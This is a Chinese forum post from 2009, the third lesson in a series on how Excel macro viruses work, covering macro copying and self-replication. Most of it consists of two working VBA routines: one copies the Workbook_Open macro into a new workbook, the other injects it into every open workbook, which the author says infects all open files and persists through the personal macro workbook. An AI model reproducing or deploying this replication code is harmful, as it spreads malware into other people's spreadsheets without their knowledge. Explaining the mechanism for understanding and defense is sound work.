lnxxnchzyl 发表于 2009-9-7 11:45:36

小述Excel宏病毒的工作原理_第三讲,宏的复制与自我复制原理

Excel中提供了强大的宏的复制与自我复制机能,
这使得宏病毒的传染极其容易。
下面举个原理性的例子:
Sub 新建并感染工作薄()
    '添加新工作簿并将本工作簿 thisworkbook 内的宏 Workbook_Open 的代码复制到新工作簿
    Const STRMODULE As String = "ThisWorkBook"      '表名
    Const STRMACRO As String = "Workbook_Open"      '宏名
    Const STRWORKBOOK As String = "aaa.xls"             '薄名
   
    Dim str As String
   
    With ThisWorkbook.VBProject.VBComponents(STRMODULE).CodeModule
      str = .Lines(.ProcBodyLine(STRMACRO, 0), .ProcCountLines(STRMACRO, 0))
    End With
   
    With Workbooks.Add
      .SaveAs STRWORKBOOK
      .VBProject.VBComponents("ThisWorkBook").CodeModule.InsertLines 2, str
    End With
End Sub
宏病毒的传染,就是要让更多的文件受到感染,
所以,上面的例子还要继续修改,
Sub 感染当前打开的工作薄()
    Dim 宏内容, 当前薄名 As String
    当前薄名 = ThisWorkbook.Name
    With ThisWorkbook.VBProject.VBComponents("ThisWorkBook").CodeModule
      宏内容 = .Lines(.ProcBodyLine("Workbook_Open", 0), .ProcCountLines("Workbook_Open", 0))
    End With
    For Each 历遍薄名 In Workbooks
      If 历遍薄名.Name <> 当前薄名 Then
            历遍薄名.VBProject.VBComponents("ThisWorkBook").CodeModule.InsertLines 2, 宏内容
      End If
    Next
End Sub
这样一来,所有的打开的Excel文件就都受到感染了。
再加上第一讲的“个人宏工作薄”一起发挥,
那么,只要你打开一个Excel文件,
第一步就会先打开“个人宏工作薄”,
然后通过“Sub 感染当前打开的工作薄()”这个宏,
将你所打开的文件感染。
页: [1]
查看完整版本: 小述Excel宏病毒的工作原理_第三讲,宏的复制与自我复制原理